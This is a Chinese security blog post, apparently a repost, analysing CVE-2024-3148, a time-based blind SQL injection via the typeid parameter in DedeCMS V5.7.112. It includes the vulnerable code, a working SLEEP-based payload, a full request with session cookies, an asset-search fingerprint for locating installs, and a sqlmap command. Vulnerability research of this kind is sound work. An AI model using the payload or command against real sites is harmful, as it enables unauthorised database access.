漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

admin 2024年4月2日15:05:31评论49 views字数 2532阅读8分26秒阅读模式
漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请联系。

还在学怎么挖通用漏洞和src吗?快来加入星球~私聊有优惠

于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

漏洞详情

织梦DEDECMS 5.7.112 版本的 MAKEHTML_ARCHIVES_ACTION.PHP 存在 SQL 延时注入漏洞。

源码地址

https://www.dedecms.com/download

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

影响版本

V5.7.112(2023年12月1日更新版本)

漏洞代码存在位置

 dede/makehtml-archives action. php 注入参数:typeid

资产测绘

app=“dedecms

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

漏洞分析

0x01 织梦DEDECMS 5.7.112 SQL延时注入 CVE-2024-3148

首先,我们找到存在漏洞的项目文件 dede/makehtml-archives action.php,发现后端首先接收并预处理传入的参数。可以看到,这里仅将参数设置为 null 值,没有进行正则过滤或其他过滤。接着,我们继续向下查看。

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

在这里,定义了一个用于 $idSQL 的 SQL 查询字符串,首先将其赋予空值,然后根据从 $gwhere 获取的条件值进行连接。需要注意的是,在这里捕获了一个名为 $typeid 的参数。当我们向 $typeid 传递一个参数时,其初始值不会是 0,并且它将进入 if 逻辑代码段。在这段代码中,$ids=GetSonIds ($typeid); 将捕获到的 $typeid 参数传递给 GetSonIds() 进行处理,以获取其所有子栏目,将参数 $ids 传递给 GetSonIds() 时没有进行任何正则过滤,然后直接将其连接到 $gwhere 中,形成条件语句:"AND typeid in ($ids)";

未闭合的引号使全局的 addlashes() 函数无效。没有任何正则匹配过滤规则。使用 () 进行闭合没有预编译。直接将其连接到 SQL 执行语句中以进行执行。

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

以上四点构成了 SQL 注入的必要条件。以下是本地环境验证过程。请注意,只能传递一个 typeid 参数,否则由于其他参数的影响,SQL 条件序列将会改变,导致列更新时间过长,无法注入访问本地路由。
(注意:gatsby.com 是本地域名)

http://gatsby.com/dedecms/dede/makehtml_archives_action.php?typeid=1

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

接下来,我们使用 Bp来验证漏洞,并构造一个使用 () 闭合的表达式payload进行验证。

Payload: ?typeid=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)

延时分析:

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

if($totalnum==0){    $row = $dsql->GetOne("SELECT COUNT(*) AS dd FROM `#@__arctiny` $idsql");    $totalnum = $row['dd'];    $dsql->ExecuteNoneQuery("DELETE FROM `#@__arccache` ");}

从上面看出,当我们尝试进行延迟注入时,SQL 查询将被操纵以造成延迟。延迟会发生两次,一次是在计算总记录数时,另一次是在清除缓存时。因此,下面是验证过程中的数据包。

GET /dedecms/dede/makehtml_archives_action.php?typeid=1 HTTP/1.1Host: gatsby.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brConnection: closeCookie: menuitems=1_1%2C2_1%2C3_1%2C4_1%2C5_1%2C6_1; last_vtime=1707197362; last_vtime1BH21ANI1AGD297L1FF21LN02BGE1DNG=fc3dc2a4ef75e66d; last_vid=sec%2Csec; last_vid1BH21ANI1AGD297L1FF21LN02BGE1DNG=06a2513292081902; lastCid=17; lastCid1BH21ANI1AGD297L1FF21LN02BGE1DNG=673119b845af569a; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=8b1d56792128e24d; DedeLoginTime=1707274662; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=346b5645435a6323; PHPSESSID=decfeerek8l7sh7860b17m4650; _csrf_name_386c7f53=f67a81cfb4242d5b1d3b3c1f8c2336e5; _csrf_name_386c7f531BH21ANI1AGD297L1FF21LN02BGE1DNG=bbefc5ce8b74e6b5Upgrade-Insecure-Requests: 1

无延迟

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

延时2秒,延时两次~

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148


延时3秒,延时两次

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

使用Sqlmap命令(此处域名为本地搭建)

py sqlmap.py -r url.txt --bath --dbms=mysql --is-dba

漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

原文始发于微信公众号(不秃头的安全):漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月2日15:05:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞挖掘 | 织梦DedeCms V5.7.112 sql延时盲注 CVE-2024-3148https://cn-sec.com/archives/2623706.html

发表评论

匿名网友 填写信息